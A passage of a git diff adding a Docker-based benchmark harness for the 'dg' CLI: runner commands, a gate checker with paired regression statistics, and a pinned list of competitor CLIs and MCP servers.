+                "mad": round(statistics.median([abs(x - m) for x in colds]), 3),
+                "min": round(min(colds), 3),
+                "max": round(max(colds), 3),
+                "n": len(colds),
+                "times": [round(x, 3) for x in colds],
+                "method": "page cache dropped before each run; hyperfine -N --runs 1",
+                "exit_codes": sorted(cold_codes),
+            }
+            if cold_codes - {0}:
+                rows["help_cold"]["value"] = None
+                rows["help_cold"]["error"] = "exit codes %s" % sorted(cold_codes - {0})
+        im = sm.get("image_meta") or {}
+        if "install_mb" in im:
+            rows["install_mb"] = {
+                "value": im["install_mb"],
+                "unit": "MB",
+                "method": "du -sm of the install root, with .pyc",
+                "dists": im.get("dists"),
+            }
+        subjects[name] = {k: v for k, v in sm.items() if k != "image_meta"}
+        subjects[name]["version"] = im.get("version", sm.get("version"))
+        if im.get("strace"):
+            subjects[name]["strace"] = im["strace"]
+        if im.get("deps"):
+            subjects[name]["deps"] = im["deps"]
+        subjects[name]["rows"] = rows
+    doc = dict(meta, subjects=subjects)
+    with open(os.path.join(outdir, "results.json"), "w") as f:
+        json.dump(doc, f, indent=1, sort_keys=True)
+    return doc
+
+
+def expand(names):
+    out = []
+    for n in names:
+        for x in CFG["groups"].get(n, [n]):
+            if x not in CFG["subjects"]:
+                raise SystemExit("unknown subject " + x)
+            if x not in out:
+                out.append(x)
+    return out
+
+
+def cmd_run(a):
+    stamp = dt.datetime.now(dt.timezone.utc).strftime("%Y%m%dT%H%M%SZ")
+    label = a.label or default_label()
+    outdir = os.path.abspath(a.out or os.path.join(BENCH, "out", stamp + "-" + label))
+    os.makedirs(outdir, exist_ok=True)
+    work = os.path.join(BENCH, "out", ".src")
+    os.makedirs(work, exist_ok=True)
+    if a.profile == "release":
+        # A release gate measures our own deterministic, size and resource rows:
+        # no competitors, no cold rows (no privileged helper), no timing.
+        a.subjects, a.cold_runs = "dg", 0
+    names = expand(a.subjects.split(","))
+    meta = {
+        "schema": SCHEMA,
+        "created": stamp,
+        "runner_label": label,
+        "host": host_info(),
+        "harness_commit": harness_commit(),
+        "hyperfine": CFG["hyperfine"]["version"],
+        "quick": a.quick,
+        "profile": a.profile,
+        "subjects": {},
+    }
+    for name in names:
+        s = CFG["subjects"][name]
+        t0 = time.time()
+        if s["kind"] == "dg":
+            image, sha = build_dg(a.ref, work)
+            entry = {"kind": "dg", "ref": sha, "image": image}
+        else:
+            image = build_competitor(name)
+            entry = {"kind": s["kind"], "version": s["version"], "image": image}
+            if image is None:
+                entry["error"] = "image build failed"
+                meta["subjects"][name] = entry
+                continue
+        box = Box(
+            image, "dg-bench-%s-%s" % (stamp.lower(), name), os.path.join(outdir, name)
+        )
+        try:
+            entry["image_meta"] = box.meta()
+            if s["kind"] == "dg":
+                run_dg(
+                    box,
+                    s,
+                    quick=a.quick,
+                    cold_runs=a.cold_runs,
+                    data=not a.skip_data,
+                    timing=a.profile != "release",
+                )
+            else:
+                run_competitor(box, s, quick=a.quick, cold_runs=a.cold_runs)
+        finally:
+            box.close()
+        entry["wall_s"] = round(time.time() - t0, 1)
+        meta["subjects"][name] = entry
+        with open(os.path.join(outdir, "run.json"), "w") as f:
+            json.dump(meta, f, indent=1, sort_keys=True)
+    with open(os.path.join(outdir, "run.json"), "w") as f:
+        json.dump(meta, f, indent=1, sort_keys=True)
+    collect(outdir)
+    print(os.path.join(outdir, "results.json"))
+
+
+def cmd_pair(a):
+    """Base and head timed interleaved in one job. Deterministic rows run on head, first."""
+    stamp = dt.datetime.now(dt.timezone.utc).strftime("%Y%m%dT%H%M%SZ")
+    outdir = os.path.abspath(a.out or os.path.join(BENCH, "out", stamp + "-pair"))
+    work = os.path.join(BENCH, "out", ".src")
+    os.makedirs(work, exist_ok=True)
+    s = CFG["subjects"]["dg"]
+    imgs = {}
+    for side, ref in (("base", a.base), ("head", a.head)):
+        imgs[side] = build_dg(ref, work)
+    boxes = {
+        side: Box(
+            imgs[side][0],
+            "dg-bench-%s-%s" % (stamp.lower(), side),
+            os.path.join(outdir, side),
+        )
+        for side in ("base", "head")
+    }
+    menv = ["--env=%s=%s" % kv for kv in sorted(s["mcp"].get("env", {}).items())]
+    rows = {
+        "version_warm": ("hf", s["cli"]["version"], []),
+        "help_warm": ("hf", s["cli"]["help"], []),
+        "subhelp_warm": ("hf", s["cli"]["subhelp"], []),
+        "mcp_init": ("mcp", s["mcp"]["cmd"], menv),
+    }
+    if a.rows:
+        rows = {k: v for k, v in rows.items() if k in a.rows.split(",")}
+    rounds = {r: {"base": [], "head": []} for r in rows}
+    try:
+        # Deterministic rows first, on a fresh head container: the no-recompile
+        # check has to see the first runs, before warm rounds cache any .pyc.
+        if not a.skip_deterministic:
+            hb = boxes["head"]
+            for path in ("version", "help"):
+                hb.drive("verbose", "norecompile_" + path, s["cli"][path])
+            hb.drive(
+                "verbose", "norecompile_mcp", s["mcp"]["cmd"], "--mcp-session", *menv
+            )
+            for path in ("version", "help", "subhelp"):
+                hb.drive("imports", "imports_" + path, s["cli"][path], "--path", path)
+                hb.drive("egress", "egress_" + path, s["cli"][path])
+            hb.drive(
+                "imports",
+                "imports_mcp",
+                s["mcp"]["cmd"],
+                "--path",
+                "mcp",
+                "--mcp-session",
+                *menv,
+            )
+            hb.drive("egress", "egress_mcp", s["mcp"]["cmd"], "--mcp-session", *menv)
+            hb.drive(
+                "mcp", "mcp", s["mcp"]["cmd"], "--runs", "3", "--warmup", "0", *menv
+            )
+        for i in range(a.rounds):
+            order = ("base", "head") if i % 2 == 0 else ("head", "base")
+            for row, (sub, cmd, extra) in rows.items():
+                for side in order:
+                    name = "r%02d_%s" % (i, "mcp" if sub == "mcp" else row)
+                    boxes[side].drive(
+                        sub, name, cmd, "--runs", str(a.runs), "--warmup", "2", *extra
+                    )
+                    fn = name + ("_init" if sub == "mcp" else "") + ".json"
+                    v = json.load(open(os.path.join(outdir, side, fn))).get("value")
+                    rounds[row][side].append(v)
+        meta = {}
+        for side in ("base", "head"):
+            meta[side] = {
+                "ref": imgs[side][1],
+                "image": imgs[side][0],
+                "image_meta": boxes[side].meta(),
+            }
+    finally:
+        for b in boxes.values():
+            b.close()
+    head_rows = {}
+    for f in glob.glob(os.path.join(outdir, "head", "*.json")):
+        if not os.path.basename(f).startswith("r"):
+            r = json.load(open(f))
+            head_rows[r.pop("row")] = r
+    doc = {
+        "schema": SCHEMA + "-pair",
+        "created": stamp,
+        "runner_label": a.label or default_label(),
+        "host": host_info(),
+        "harness_commit": harness_commit(),
+        "rounds_n": a.rounds,
+        "runs_per_round": a.runs,
+        "base": {
+            "ref": meta["base"]["ref"],
+            "version": meta["base"]["image_meta"].get("version"),
+        },
+        "head": {
+            "ref": meta["head"]["ref"],
+            "version": meta["head"]["image_meta"].get("version"),
+            "rows": head_rows,
+        },
+        "rounds": rounds,
+    }
+    path = os.path.join(outdir, "pair.json")
+    with open(path, "w") as f:
+        json.dump(doc, f, indent=1, sort_keys=True)
+    print(path)
+
+
+def cmd_baseline(a):
+    """Write baselines/<runner-label>.json: a results file without raw samples."""
+    doc = json.load(open(a.results))
+    drop = (
+        "times",
+        "cmd",
+        "sample",
+        "allowlist_violation_sample",
+        "wall_ms",
+    )
+    for s in doc["subjects"].values():
+        for r in (s.get("rows") or {}).values():
+            for k in drop:
+                r.pop(k, None)
+    doc["source_results"] = os.path.relpath(os.path.abspath(a.results), REPO)
+    path = os.path.join(BENCH, "baselines", doc["runner_label"] + ".json")
+    with open(path, "w") as f:
+        json.dump(doc, f, indent=1, sort_keys=True)
+        f.write("\n")
+    print(path)
+
+
+def main(argv=None):
+    if shutil.which("docker") is None:
+        raise SystemExit("docker is required")
+    ap = argparse.ArgumentParser()
+    sub = ap.add_subparsers(dest="cmd", required=True)
+    p = sub.add_parser("run")
+    p.add_argument(
+        "--ref", default="HEAD", help="git ref (or source directory) for the dg subject"
+    )
+    p.add_argument("--subjects", default="dg,all,mcp")
+    p.add_argument("--label")
+    p.add_argument("--out")
+    p.add_argument(
+        "--quick", action="store_true", help="10 runs per timing row instead of 30"
+    )
+    p.add_argument(
+        "--cold-runs",
+        type=int,
+        default=10,
+        help="0 skips cold rows (they drop the VM page cache)",
+    )
+    p.add_argument("--skip-data", action="store_true")
+    p.add_argument(
+        "--profile",
+        choices=("full", "release"),
+        default="full",
+        help="release: dg only; deterministic, size and RSS rows; no cold or timing rows",
+    )
+    p.add_argument(
+        "--deps",
+        choices=("lock", "latest"),
+        help="dg third-party versions: uv.lock (default) or latest from the index",
+    )
+    p = sub.add_parser("pair")
+    p.add_argument("--base", required=True)
+    p.add_argument("--head", required=True)
+    p.add_argument("--rounds", type=int, default=10)
+    p.add_argument("--runs", type=int, default=10)
+    p.add_argument("--rows")
+    p.add_argument("--label")
+    p.add_argument("--out")
+    p.add_argument("--skip-deterministic", action="store_true")
+    p = sub.add_parser("collect")
+    p.add_argument("outdir")
+    p = sub.add_parser("baseline")
+    p.add_argument("results")
+    a = ap.parse_args(argv)
+    global DG_DEPS
+    if getattr(a, "deps", None):
+        DG_DEPS = a.deps
+    if a.cmd == "run":
+        cmd_run(a)
+    elif a.cmd == "pair":
+        cmd_pair(a)
+    elif a.cmd == "baseline":
+        cmd_baseline(a)
+    else:
+        collect(os.path.abspath(a.outdir))
+
+
+if __name__ == "__main__":
+    main()
diff --git a/bench/check.py b/bench/check.py
new file mode 100644
index 00000000..1dcf65d7
--- /dev/null
+++ b/bench/check.py
@@ -0,0 +1,491 @@
+"""Evaluate benchmark results against bench/gates.json. Stdlib only.
+
+  check.py list                                   every gate, its target and since
+  check.py results.json [--baseline FILE] [--version V] [--json OUT] [--summary FILE]
+  check.py pair pair.json [--json OUT] [--summary FILE]
+
+Exit status: 1 when a blocking gate fails (or, in pair mode, a blocking row
+regresses); 0 otherwise. A gate blocks when it is active (since <= version
+under test) and either is not a timing gate, or is a timing gate whose
+'blocking' flag is set (timing gates stay report-only until the A/A rule in
+bench/README.md clears). An active blocking gate whose row is missing fails,
+and so does a run whose version under test is unknown.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import statistics
+import sys
+
+HERE = os.path.dirname(os.path.abspath(__file__))
+
+
+def load_gates(path=None):
+    with open(path or os.path.join(HERE, "gates.json")) as f:
+        return json.load(f)
+
+
+def load_groups():
+    with open(os.path.join(HERE, "competitors.json")) as f:
+        return json.load(f)["groups"]
+
+
+class UnknownSubject(ValueError):
+    """A gate names a subject that is neither built by the harness nor planned."""
+
+
+def check_subjects(gates):
+    """Every gate's subject is built by the harness or listed in planned_subjects;
+    anything else (a typo) is an error. Returns the planned set."""
+    planned = set(gates.get("planned_subjects", []))
+    unknown = sorted(
+        {g["subject"] for g in gates["gates"]} - known_subjects() - planned
+    )
+    if unknown:
+        raise UnknownSubject(
+            "gates name unknown subjects %s (not in competitors.json or planned_subjects)"
+            % unknown
+        )
+    return planned
+
+
+def known_subjects():
+    """Subjects the harness can build. A gate on any other subject (a channel that
+    doesn't exist yet) stays pending instead of blocking."""
+    with open(os.path.join(HERE, "competitors.json")) as f:
+        return set(json.load(f)["subjects"])
+
+
+def vtuple(v):
+    """'0.4.0' -> (0, 4, 0, 1); '1.0.0rc1' -> (1, 0, 0, 0) so a prerelease sorts below the final."""
+    m = re.match(r"^(\d+)\.(\d+)\.(\d+)(.*)$", str(v or "").strip().lstrip("v"))
+    if not m:
+        raise ValueError("bad version %r" % v)
+    return (int(m.group(1)), int(m.group(2)), int(m.group(3)), 0 if m.group(4) else 1)
+
+
+def compare(op, measured, target):
+    if op == "<=":
+        return measured <= target
+    if op == ">=":
+        return measured >= target
+    if op == "==":
+        return measured == target
+    raise ValueError(op)
+
+
+def median(xs):
+    return statistics.median(xs) if xs else None
+
+
+def mad(xs):
+    if not xs:
+        return None
+    m = statistics.median(xs)
+    return statistics.median([abs(x - m) for x in xs])
+
+
+def fmt(v, unit=""):
+    if v is None:
+        return "n/a"
+    if isinstance(v, bool):
+        return "yes" if v else "no"
+    if isinstance(v, float):
+        v = round(v, 1) if abs(v) >= 10 else round(v, 2)
+    return "%s%s" % (v, (" " + unit) if unit and unit not in ("count", "bool") else "")
+
+
+def evaluate(results, gates, version=None, groups=None, only_rows=None):
+    groups = groups or load_groups()
+    subj = results.get("subjects", {})
+    version = version or (subj.get(gates["subject"]) or {}).get("version")
+    planned = check_subjects(gates)
+    out = []
+    for g in gates["gates"]:
+        s = subj.get(g["subject"]) or {}
+        # only an explicitly planned channel may be absent without blocking
+        not_in_harness = g["subject"] not in subj and g["subject"] in planned
+        row = (s.get("rows") or {}).get(g["row"])
+        if only_rows is not None and row is None:
+            continue
+        measured = None if row is None else row.get("value")
+        target = g["value"]
+        if (
+            row is not None
+            and g.get("limit_field")
+            and row.get(g["limit_field"]) is not None
+        ):
+            target = max(target, row[g["limit_field"]])
+        active = version is not None and vtuple(g["since"]) <= vtuple(version)
+        blocking = active and (g["kind"] != "timing" or bool(g.get("blocking")))
+        if measured is None:
+            status = "n/a"
+            why = (row or {}).get("error") or (
+                "subject not in harness yet"
+                if not_in_harness
+                else ("subject not built" if not s else "row not measured")
+            )
+        else:
+            status = "PASS" if compare(g["op"], measured, target) else "FAIL"
+            why = ""
+        if not active or (not_in_harness and measured is None):
+            outcome = "pending"
+        elif status == "PASS":
+            outcome = "ok"
+        elif blocking:
+            outcome = "BLOCK"
+        else:
+            outcome = "report"
+        best = None
+        if g.get("vs") and g["vs"] in groups:
+            vals = []
+            for n in groups[g["vs"]]:
+                r = ((subj.get(n) or {}).get("rows") or {}).get(
+                    g.get("peer_row", g["row"])
+                )
+                if (
+                    r
+                    and isinstance(r.get("value"), (int, float))
+                    and not isinstance(r.get("value"), bool)
+                ):
+                    vals.append((r["value"], n))
+            if vals:
+                bv, bn = min(vals)
+                best = {
+                    "name": bn,
+                    "value": bv,
+                    "ratio": round(measured / bv, 3)
+                    if isinstance(measured, (int, float)) and bv
+                    else None,
+                }
+        out.append(
+            {
+                "id": g["id"],
+                "target": g["target"],
+                "subject": g["subject"],
+                "row": g["row"],
+                "op": g["op"],
+                "target_value": target,
+                "unit": g["unit"],
+                "kind": g["kind"],
+                "since": g["since"],
+                "measured": measured,
+                "status": status,
+                "active": active,
+                "blocking": blocking,
+                "outcome": outcome,
+                "best": best,
+                "note": why,
+            }
+        )
+    return version, out
+
+
+def baseline_diff(results, baseline, gates):
+    """Cross-run comparison against a stored per-runner baseline. Always report-only:
+    regressions are judged on same-job paired runs, not on ms from another run."""
+    reg = gates["regression"]
+    out = []
+    for name, s in results.get("subjects", {}).items():
+        b = (baseline.get("subjects") or {}).get(name)
+        if not b:
+            continue
+        for row, r in sorted((s.get("rows") or {}).items()):
+            br = (b.get("rows") or {}).get(row)
+            if not br or r.get("unit") != "ms":
+                continue
+            v, bv = r.get("value"), br.get("value")
+            if (
+                not isinstance(v, (int, float))
+                or not isinstance(bv, (int, float))
+                or isinstance(v, bool)
+            ):
+                continue
+            floor = reg["rows"].get(row, {}).get("floor_ms", 2.0)
+            noise = reg["mad_k"] * (r.get("mad") or 0)
+            thr = max(reg["pct"] / 100.0 * bv, noise, floor)
+            out.append(
+                {
+                    "subject": name,
+                    "row": row,
+                    "baseline": bv,
+                    "current": v,
+                    "delta": round(v - bv, 3),
+                    "threshold": round(thr, 3),
+                    "slower": (v - bv) > thr,
+                }
+            )
+    return out
+
+
+def pair_eval(pair, gates):
+    reg = gates["regression"]
+    rows = []
+    for row, sides in sorted(pair["rounds"].items()):
+        b, h = sides["base"], sides["head"]
+        diffs = [
+            hh - bb
+            for bb, hh in zip(b, h)
+            if isinstance(bb, (int, float)) and isinstance(hh, (int, float))
+        ]
+        cfg = reg["rows"].get(row, {})
+        blocking = bool(cfg.get("blocking"))
+        nb = sum(isinstance(x, (int, float)) for x in b)
+        nh = sum(isinstance(x, (int, float)) for x in h)
+        rounds = max(len(b), len(h), 1)
+        if nh * 2 < rounds and nb * 2 < rounds:
+            # Neither side measured: nothing regressed, nothing passed either.
+            rows.append(
+                {
+                    "row": row,
+                    "status": "n/a",
+                    "blocking": blocking,
+                    "outcome": "BLOCK" if blocking else "ok",
+                    "note": "neither side produced values",
+                }
+            )
+            continue
+        if nh * 2 < rounds or nb * 2 < rounds:
+            # A side that failed in most rounds is never "no change": head failing
+            # is a regression; base failing leaves nothing to compare against.
+            side = "head" if nh * 2 < rounds else "base"
+            red = side == "head" or blocking
+            rows.append(
+                {
+                    "row": row,
+                    "status": "RED" if red else "n/a",
+                    "blocking": blocking,
+                    "outcome": "BLOCK"
+                    if red and blocking
+                    else ("report" if red else "ok"),
+                    "note": "%s produced values in %d of %d rounds"
+                    % (side, nh if side == "head" else nb, rounds),
+                }
+            )
+            continue
+        bm = median([x for x in b if isinstance(x, (int, float))])
+        d, m = median(diffs), mad(diffs)
+        thr = max(reg["pct"] / 100.0 * bm, reg["mad_k"] * m, cfg.get("floor_ms", 2.0))
+        red = d > thr
+        rows.append(
+            {
+                "row": row,
+                "base_median": round(bm, 3),
+                "head_median": round(
+                    median([x for x in h if isinstance(x, (int, float))]), 3
+                ),
+                "median_diff": round(d, 3),
+                "mad_diff": round(m, 3),
+                "threshold": round(thr, 3),
+                "pairs": len(diffs),
+                "status": "RED" if red else "green",
+                "blocking": bool(cfg.get("blocking")),
+                "outcome": "BLOCK"
+                if red and cfg.get("blocking")
+                else ("report" if red else "ok"),
+            }
+        )
+    return rows
+
+
+# ----------------------------------------------------------------- output
+def gate_table(version, ev):
+    lines = [
+        "Version under test: **%s**" % version,
+        "",
+        "| gate | target | measured | best peer (ratio) | since | kind | result |",
+        "|---|---|---|---|---|---|---|",
+    ]
+    for e in ev:
+        best = (
+            "%s %s (%s×)"
+            % (
+                e["best"]["name"],
+                fmt(e["best"]["value"], e["unit"]),
+                e["best"]["ratio"],
+            )
+            if e["best"]
+            else ""
+        )
+        res = {
+            "ok": "PASS",
+            "BLOCK": "**FAIL (blocking)**",
+            "report": "FAIL (report-only)",
+        }.get(e["outcome"])
+        if e["outcome"] == "pending":
+            res = "pending (%s)" % e["status"]
+        note = (" — " + e["note"][:80].replace("\n", " ")) if e["note"] else ""
+        lines.append(
+            "| %s | %s %s | %s%s | %s | %s | %s%s | %s |"
+            % (
+                e["id"],
+                e["op"],
+                fmt(e["target_value"], e["unit"]),
+                fmt(e["measured"], e["unit"]),
+                note,
+                best,
+                e["since"],
+                e["kind"],
+                ""
+                if e["kind"] != "timing"
+                else (" (blocking)" if e["blocking"] else " (report-only)"),
+                res,
+            )
+        )
+    return "\n".join(lines)
+
+
+def main(argv=None):
+    argv = list(sys.argv[1:] if argv is None else argv)
+    gates = load_gates(os.environ.get("BENCH_GATES"))
+    try:
+        return _main(argv, gates)
+    except UnknownSubject as e:
+        print("ERROR: %s" % e)
+        return 2
+
+
+def _main(argv, gates):
+    check_subjects(gates)
+    if argv and argv[0] == "list":
+        print(
+            "| gate | target | subject | row | target | since | kind |\n|---|---|---|---|---|---|---|"
+        )
+        for g in gates["gates"]:
+            print(
+                "| %s | %s | %s | %s | %s %s %s | %s | %s |"
+                % (
+                    g["id"],
+                    g["target"],
+                    g["subject"],
+                    g["row"],
+                    g["op"],
+                    g["value"],
+                    g["unit"],
+                    g["since"],
+                    g["kind"],
+                )
+            )
+        return 0
+    ap = argparse.ArgumentParser()
+    if argv and argv[0] == "pair":
+        ap.add_argument("mode")
+    ap.add_argument("file")
+    ap.add_argument("--baseline")
+    ap.add_argument("--version")
+    ap.add_argument("--json")
+    ap.add_argument("--summary")
+    a = ap.parse_args(argv)
+    doc = json.load(open(a.file))
+    report, blocked, out = [], False, {}
+    if getattr(a, "mode", None) == "pair":
+        pr = pair_eval(doc, gates)
+        report += [
+            "### Paired base vs head (%s → %s, %d rounds)"
+            % (doc["base"]["ref"][:12], doc["head"]["ref"][:12], doc["rounds_n"]),
+            "",
+            "| row | base | head | median Δ | MAD Δ | threshold | result |",
+            "|---|---|---|---|---|---|---|",
+        ]
+        for r in pr:
+            if "base_median" not in r:
+                report.append(
+                    "| %s | | | | | | %s (%s)%s |"
+                    % (
+                        r["row"],
+                        r["status"],
+                        r["note"],
+                        "" if r["blocking"] else " (report-only)",
+                    )
+                )
+                blocked |= r.get("outcome") == "BLOCK"
+                continue
+            report.append(
+                "| %s | %s | %s | %+.2f | %.2f | %.2f | %s%s |"
+                % (
+                    r["row"],
+                    fmt(r["base_median"], "ms"),
+                    fmt(r["head_median"], "ms"),
+                    r["median_diff"],
+                    r["mad_diff"],
+                    r["threshold"],
+                    r["status"],
+                    "" if r["blocking"] else " (report-only)",
+                )
+            )
+            blocked |= r["outcome"] == "BLOCK"
+        head = {
+            "subjects": {
+                gates["subject"]: {
+                    "version": doc["head"]["version"],
+                    "rows": doc["head"]["rows"],
+                }
+            }
+        }
+        # `since` follows the higher of base and head, so a PR can't switch gates
+        # off by lowering its own version.
+        pv = [v for v in (doc["base"].get("version"), doc["head"].get("version")) if v]
+        pair_version = a.version or (max(pv, key=vtuple) if pv else None)
+        version, ev = evaluate(head, gates, version=pair_version, only_rows=True)
+        if version is None:
+            print("head version unknown in %s; pass --version" % a.file)
+            return 1
+        ev = [e for e in ev if e["kind"] != "timing"]
+        report += ["", "### Deterministic gates on head", "", gate_table(version, ev)]
+        out = {"pair": pr, "gates": ev}
+    else:
+        version, ev = evaluate(doc, gates, version=a.version)
+        if version is None:
+            print(
+                "version under test unknown (no subject version in %s); pass --version"
+                % a.file
+            )
+            return 1
+        report += ["### Gates", "", gate_table(version, ev)]
+        out = {"version": version, "gates": ev}
+        if a.baseline:
+            bd = baseline_diff(doc, json.load(open(a.baseline)), gates)
+            slower = [d for d in bd if d["slower"]]
+            report += [
+                "",
+                "### Against baseline %s (report-only; cross-run)"
+                % os.path.basename(a.baseline),
+                "",
+                "%d timing rows compared, %d slower than max(10%%, 3×MAD, floor)."
+                % (len(bd), len(slower)),
+            ]
+            for d in slower:
+                report.append(
+                    "- %s %s: %s → %s ms (Δ %+.1f, threshold %.1f)"
+                    % (
+                        d["subject"],
+                        d["row"],
+                        d["baseline"],
+                        d["current"],
+                        d["delta"],
+                        d["threshold"],
+                    )
+                )
+            out["baseline"] = bd
+    blocked |= any(e["outcome"] == "BLOCK" for e in ev)
+    text = "\n".join(report)
+    print(text)
+    if a.summary:
+        with open(a.summary, "a") as f:
+            f.write(text + "\n")
+    if a.json:
+        with open(a.json, "w") as f:
+            json.dump(out, f, indent=1)
+    print(
+        "\nRESULT: %s"
+        % ("FAIL (blocking gate)" if blocked else "OK (no blocking gate failed)")
+    )
+    return 1 if blocked else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/bench/competitors.json b/bench/competitors.json
new file mode 100644
index 00000000..58bafee1
--- /dev/null
+++ b/bench/competitors.json
@@ -0,0 +1,128 @@
+{
+  "_doc": "Benchmark subjects. 'dg' is built from a git ref of this repo; every other subject is a pinned public release. Tarballs are verified by sha256 at image build time. Pins are arm64 (the bench runner is ubuntu-24.04-arm). Bump a pin by PR; the PR's bench run is the measured delta.",
+  "images": {
+    "python": "python:3.12-slim-bookworm@sha256:e697c81897302a4c4333bade000d98038fbb21eb064f8ee1fd42d02ebcd9d337",
+    "python313": "python:3.13-slim-bookworm@sha256:281d39ff02e3b389401586134ff9e6572954687822a58055ec07a60ded4e0b7f",
+    "debian": "debian:bookworm-slim@sha256:99c0b25c46d0214d5a2091092e7908907dcaecd6a962cde0ac700acee222b6f3",
+    "node": "node:22-bookworm-slim@sha256:4b150b48b4116e2a22f2c39cc27025fbf4f153e2078fd3b14d159fdb5c7279da",
+    "uv": "ghcr.io/astral-sh/uv:0.9.5@sha256:f459f6f73a8c4ef5d69f4e6fbbdb8af751d6fa40ec34b39a1ab469acd6e289b7",
+    "dropcaches": "alpine:3.20@sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc"
+  },
+  "hyperfine": {
+    "version": "1.19.0",
+    "sha256": {
+      "arm64": "7f9c0522e1acf869e0558e085c43f2cea3e30e4f7a4b7bc3d5540cbdee7b4273",
+      "amd64": "d5550bbdc240d2aaa8f43ea2dc8b03a306afb30ea8464cd8b2faa9486ed1019e"
+    }
+  },
+  "groups": {
+    "voice": ["openai", "gladia", "lk", "elevenlabs", "assembly"],
+    "all": ["gh", "stripe", "supabase", "flyctl", "vercel", "wrangler", "openai", "gladia", "lk", "elevenlabs", "assembly"],
+    "mcp": ["gladia-mcp", "cartesia-mcp", "elevenlabs-mcp", "azure-mcp", "github-mcp", "flyctl", "supabase-mcp", "stripe-mcp"],
+    "voice_mcp": ["gladia-mcp", "cartesia-mcp", "elevenlabs-mcp"]
+  },
+  "subjects": {
+    "dg": {
+      "kind": "dg",
+      "cli": {
+        "version": ["/home/u/.local/bin/dg", "--version"],
+        "help": ["/home/u/.local/bin/dg", "--help"],
+        "subhelp": ["/home/u/.local/bin/dg", "transcribe", "--help"]
+      },
+      "mcp": {"cmd": ["/home/u/.local/bin/dg", "mcp"], "env": {"DEEPGRAM_API_KEY": "dummy"}},
+      "python": "/home/u/.local/share/uv/tools/deepctl/bin/python"
+    },
+    "gh": {
+      "kind": "bin", "version": "2.103.3",
+      "url": "https://github.com/cli/cli/releases/download/v2.103.3/gh_2.103.3_linux_arm64.tar.gz",
+      "sha256": "ee32df2323c8847f5fac6cb6b4b69ca75828e9329a8f22f677021f7b3306ce63",
+      "cli": {"version": ["/opt/gh/gh_2.103.3_linux_arm64/bin/gh", "--version"], "help": ["/opt/gh/gh_2.103.3_linux_arm64/bin/gh", "--help"]}
+    },
+    "stripe": {
+      "kind": "bin", "version": "1.55.4",
+      "url": "https://github.com/stripe/stripe-cli/releases/download/v1.55.4/stripe_1.55.4_linux_arm64.tar.gz",
+      "sha256": "dadbb6c62532b4886ae3f38969175f720ff711b10d513bd52eee050d43428a4a",
+      "cli": {"version": ["/opt/stripe/stripe", "--version"], "help": ["/opt/stripe/stripe", "--help"]}
+    },
+    "supabase": {
+      "kind": "bin", "version": "2.122.0",
+      "url": "https://github.com/supabase/cli/releases/download/v2.122.0/supabase_2.122.0_linux_arm64.tar.gz",
+      "sha256": "8980b46044aba0863f26a1b4134a498d2c74df0dadf24289bb4faa86729511cc",
+      "cli": {"version": ["/opt/supabase/supabase", "--version"], "help": ["/opt/supabase/supabase", "--help"]}
+    },
+    "flyctl": {
+      "kind": "bin", "version": "0.5.1",
+      "url": "https://github.com/superfly/flyctl/releases/download/v0.5.1/flyctl_0.5.1_Linux_arm64.tar.gz",
+      "sha256": "f37c08ce42520b0dc65008874f8df5147e959f34f30438a4d476dfb07dd3abaa",
+      "cli": {"version": ["/opt/flyctl/flyctl", "version"], "help": ["/opt/flyctl/flyctl", "--help"]},
+      "mcp": {"cmd": ["/opt/flyctl/flyctl", "mcp", "server"], "env": {"FLY_API_TOKEN": "dummy"}}
+    },
+    "lk": {
+      "kind": "bin", "version": "2.19.2",
+      "url": "https://github.com/livekit/livekit-cli/releases/download/v2.19.2/lk_2.19.2_linux_arm64.tar.gz",
+      "sha256": "edcbd3ce453b420a9b59b0207869e6b1321026f4a24beb7013fef7cd9287cd9b",
+      "cli": {"version": ["/opt/lk/lk", "--version"], "help": ["/opt/lk/lk", "--help"]}
+    },
+    "openai": {
+      "kind": "bin", "version": "1.46.0",
+      "url": "https://github.com/openai/openai-cli/releases/download/v1.46.0/openai_1.46.0_linux_arm64.tar.gz",
+      "sha256": "2e8304b67215744f032e4edc006bbee7a329a6a4d709c62a5f1115f4d316c624",
+      "cli": {"version": ["/opt/openai/openai", "--version"], "help": ["/opt/openai/openai", "--help"]}
+    },
+    "gladia": {
+      "kind": "bin", "version": "1.0.5",
+      "url": "https://github.com/gladiaio/gladia-cli/releases/download/v1.0.5/gladia_1.0.5_linux_arm64.tar.gz",
+      "sha256": "3c4c842da56526544390312aef929a6b264a4c8823a9e7971c64e250060f3e2e",
+      "cli": {"version": ["/opt/gladia/gladia", "--version"], "help": ["/opt/gladia/gladia", "--help"]}
+    },
+    "elevenlabs": {
+      "kind": "bin", "version": "1.8.0",
+      "url": "https://github.com/elevenlabs/cli/releases/download/v1.8.0/elevenlabs-cli-aarch64-unknown-linux-gnu.tar.gz",
+      "sha256": "f40bf0243c302fefa661fc1008931d4e4d870b5c6a75e94e5a12d8f68c9c3ebd",
+      "cli": {"version": ["/opt/elevenlabs/elevenlabs-cli-aarch64-unknown-linux-gnu/elevenlabs", "--version"], "help": ["/opt/elevenlabs/elevenlabs-cli-aarch64-unknown-linux-gnu/elevenlabs", "--help"]}
+    },
+    "github-mcp": {
+      "kind": "bin", "version": "2.0.3",
+      "url": "https://github.com/github/github-mcp-server/releases/download/v2.0.3/github-mcp-server_Linux_arm64.tar.gz",
+      "sha256": "5d2ddc71273fec8917e8f42cf19f26a6bd7acbb679b3a57de2917018b2eadf82",
+      "mcp": {"cmd": ["/opt/github-mcp/github-mcp-server", "stdio"], "env": {"GITHUB_PERSONAL_ACCESS_TOKEN": "dummy"}}
+    },
+    "vercel": {
+      "kind": "npm", "version": "65.8.0", "package": "vercel",
+      "cli": {"version": ["/usr/local/bin/vercel", "--version"], "help": ["/usr/local/bin/vercel", "--help"]}
+    },
+    "wrangler": {
+      "kind": "npm", "version": "4.156.0", "package": "wrangler",
+      "cli": {"version": ["/usr/local/bin/wrangler", "--version"], "help": ["/usr/local/bin/wrangler", "--help"]}
+    },
+    "gladia-mcp": {
+      "kind": "npm", "version": "0.1.1", "package": "@gladiaio/mcp",
+      "mcp": {"cmd": ["/usr/local/bin/gladia-mcp"], "env": {"GLADIA_API_KEY": "dummy"}}
+    },
+    "stripe-mcp": {
+      "kind": "npm", "version": "0.3.3", "package": "@stripe/mcp",
